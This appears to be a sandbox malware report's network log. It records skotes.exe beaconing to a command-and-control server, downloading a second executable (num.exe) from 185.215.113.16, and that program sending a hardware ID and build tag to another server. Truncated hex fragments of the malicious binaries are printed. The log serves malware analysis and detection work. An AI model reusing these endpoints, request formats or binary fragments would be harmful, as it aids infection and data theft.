a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fd 67 1a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELgg"Xw@`t@@@d\|@$u4@.text `.rdata@@.datalpH@.rsrc$@@@.relocuv@B
Oct 24, 2024 18:09:28.098849058 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Oct 24, 2024 18:09:28.098882914 CEST	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Oct 24, 2024 18:09:28.098918915 CEST	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 24, 2024 18:09:28.098953009 CEST	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Oct 24, 2024 18:09:28.098987103 CEST	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Oct 24, 2024 18:09:28.099020004 CEST	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Oct 24, 2024 18:09:28.099054098 CEST	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Oct 24, 2024 18:09:28.099087000 CEST	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Oct 24, 2024 18:09:28.099121094 CEST	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Oct 24, 2024 18:09:28.104749918 CEST	1120	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50006	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:33.857619047 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 32 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001228001&unit=246122658369
Oct 24, 2024 18:09:34.985799074 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Oct 24, 2024 18:09:34.985971928 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50007	185.215.113.16	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:34.998613119 CEST	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 18:09:35.902363062 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:35 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT Connection: keep-alive ETag: "66f90daa-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 24, 2024 18:09:35.902389050 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj(dE
Oct 24, 2024 18:09:35.902405977 CEST	1236	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 eb 92 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 be 3c 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 1d 93 01 00 8d 8d f8 fb ff ff e8 e2 95 01 00 50 Data Ascii: QREPQ<Pd@5jjRAM]UQMM\|MHM<M0}MO]
Oct 24, 2024 18:09:35.902555943 CEST	1236	IN	Data Raw: ff 51 ff 15 9c a8 64 00 85 c0 74 16 68 04 53 42 00 8d 95 cc fe ff ff 52 ff 15 9c a8 64 00 85 c0 75 05 e9 7d 04 00 00 68 1f 0e 42 00 8d 8d 94 fe ff ff e8 98 8d 01 00 83 7d 30 00 0f 84 e6 00 00 00 8d 45 24 50 8d 8d 6c fd ff ff 51 68 fc 54 42 00 8d Data Ascii: QdthSBRdu}hB}0E$PlQhTBxRPQhTTBREPQhSBREPQ}PZlx
Oct 24, 2024 18:09:35.902571917 CEST	848	IN	Data Raw: 8b 01 00 8d 4d f4 e8 b0 89 01 00 8d 4d e8 e8 a8 89 01 00 8d 4d 08 e8 a0 89 01 00 8d 4d 18 e8 98 89 01 00 8d 4d 24 e8 90 89 01 00 8d 4d 34 e8 d8 f6 ff ff 8b e5 5d c3 cc cc cc cc 55 8b ec 83 ec 18 c7 45 fc 00 00 00 00 eb 09 8b 45 fc 83 c0 01 89 45 Data Ascii: MMMMM$M4]UEEEM;UREk,T(REk,TREk,PMk,DPMk,DPyX
Oct 24, 2024 18:09:35.902585983 CEST	1236	IN	Data Raw: 8b 4d fc 39 41 04 7e 2a 8b 55 fc 8b 42 04 2b 45 f8 50 8b 4d fc 51 e8 70 fe ff ff 83 c4 08 89 45 f4 8b 55 f4 c7 02 01 00 00 00 8b 45 f4 a3 94 a9 64 00 8b 4d fc 51 e8 20 ff ff ff 83 c4 04 8b e5 5d c3 cc cc cc cc cc cc cc cc cc 55 8b ec 51 83 7d 08 Data Ascii: M9A~*UB+EPMQpEUEdMQ ]UQ}ufEPEMUztEH9tUBPMQxUztEH9tUREHQQ]Ujh<BhBL#0djhLBhB
Oct 24, 2024 18:09:35.902601957 CEST	1236	IN	Data Raw: 42 00 68 f0 1f 42 00 e8 4b 1f 00 00 83 c4 0c a3 d0 a0 64 00 6a 0b 68 f8 1f 42 00 68 04 20 42 00 e8 32 1f 00 00 83 c4 0c a3 00 a4 64 00 5d c3 cc cc cc cc cc cc cc cc 55 8b ec 6a 15 68 10 20 42 00 68 28 20 42 00 e8 0c 1f 00 00 83 c4 0c a3 b4 a5 64 Data Ascii: BhBKdjhBh B2d]Ujh Bh( Bddjh@ BhH B\|djhP BhT B@djhBhBdddjhBhBdjhBhBqdjh
Oct 24, 2024 18:09:35.902617931 CEST	1236	IN	Data Raw: 18 25 42 00 68 3c 25 42 00 e8 75 1a 00 00 83 c4 0c a3 a0 a0 64 00 6a 0c 68 60 25 42 00 68 70 25 42 00 e8 5c 1a 00 00 83 c4 0c a3 20 a4 64 00 6a 09 68 80 25 42 00 68 8c 25 42 00 e8 43 1a 00 00 83 c4 0c a3 68 a3 64 00 6a 13 68 98 25 42 00 68 ac 25 Data Ascii: %Bh<%Budjh`%Bhp%B\ djh%Bh%BChdjh%Bh%B*hdjh%Bh%Bdjh%Bh%Bdjh&Bh&Bdjh&Bh$&Bdjh0&BhD&BdjhX&Bhl&B
Oct 24, 2024 18:09:35.902633905 CEST	1236	IN	Data Raw: 15 00 00 83 c4 0c a3 2c a5 64 00 6a 09 68 20 2c 42 00 68 2c 2c 42 00 e8 93 15 00 00 83 c4 0c a3 bc a4 64 00 6a 10 68 38 2c 42 00 68 4c 2c 42 00 e8 7a 15 00 00 83 c4 0c a3 78 a4 64 00 6a 0d 68 60 2c 42 00 68 70 2c 42 00 e8 61 15 00 00 83 c4 0c a3 Data Ascii: ,djh ,Bh,,Bdjh8,BhL,Bzxdjh`,Bhp,Badjh,Bh,BH\|djh,Bh,B/djh,Bh,B@djh,Bh,Bdjh-Bh-Bdjh0-BhD-B\djhX-B
Oct 24, 2024 18:09:35.902650118 CEST	848	IN	Data Raw: 6a 07 68 00 33 42 00 68 08 33 42 00 e8 ca 10 00 00 83 c4 0c a3 dc a0 64 00 6a 0a 68 10 33 42 00 68 1c 33 42 00 e8 b1 10 00 00 83 c4 0c a3 9c a2 64 00 6a 05 68 28 33 42 00 68 30 33 42 00 e8 98 10 00 00 83 c4 0c a3 50 a3 64 00 6a 07 68 38 33 42 00 Data Ascii: jh3Bh3Bdjh3Bh3Bdjh(3Bh03BPdjh83Bh@3BldjhH3BhP3Bf(djhX3Bh`3BMpdjhh3Bhp3B4djthx3Bh3Bdjhh4Bhp4Bdjhx4Bh4B
Oct 24, 2024 18:09:35.909688950 CEST	1236	IN	Data Raw: 64 00 6a 12 68 b8 38 42 00 68 cc 38 42 00 e8 78 0d 00 00 83 c4 0c a3 a8 a0 64 00 6a 0d 68 e0 38 42 00 68 f0 38 42 00 e8 5f 0d 00 00 83 c4 0c a3 38 a1 64 00 6a 07 68 00 39 42 00 68 08 39 42 00 e8 46 0d 00 00 83 c4 0c a3 00 a5 64 00 6a 18 68 10 39 Data Ascii: djh8Bh8Bxdjh8Bh8B_8djh9Bh9BFdjh9Bh,9B-djhH9Bh`9Bdjhx9Bh9Bdjh9Bh9Bdjh9Bh9B@djh9Bh9Bdjh9Bh9B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50015	185.215.113.37	80	4132	C:\Users\user\AppData\Local\Temp\1001229001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:37.364175081 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 18:09:38.275743961 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:38 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 18:09:38.281008959 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 2d 2d 0d 0a Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="build"doma------FHIDAKFIJJKJJJKEBKJE--
Oct 24, 2024 18:09:38.569593906 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:38 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50020	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:39.086525917 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 32 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001229001&unit=246122658369
Oct 24, 2024 18:09:40.002947092 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50023	34.107.221.82	80	5012	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:39.323678017 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 18:09:39.932550907 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86240 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 18:09:42.699917078 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 18:09:42.831268072 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86243 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 18:09:43.145354986 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 18:09:43.275688887 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86244 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50029	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:41.972584009 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 18:09:42.899966002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50032	34.107.221.82	80	5012	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:42.418884993 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50037	34.107.221.82	80	5012	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:43.045996904 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 18:09:43.653453112 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 81036 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50043	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:44.445102930 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 18:09:45.385953903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50046	34.107.221.82	80	5012	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:46.752087116 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 18:09:47.349582911 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 81040 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 18:09:57.357460976 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50047	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:47.038300991 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 18:09:48.347132921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

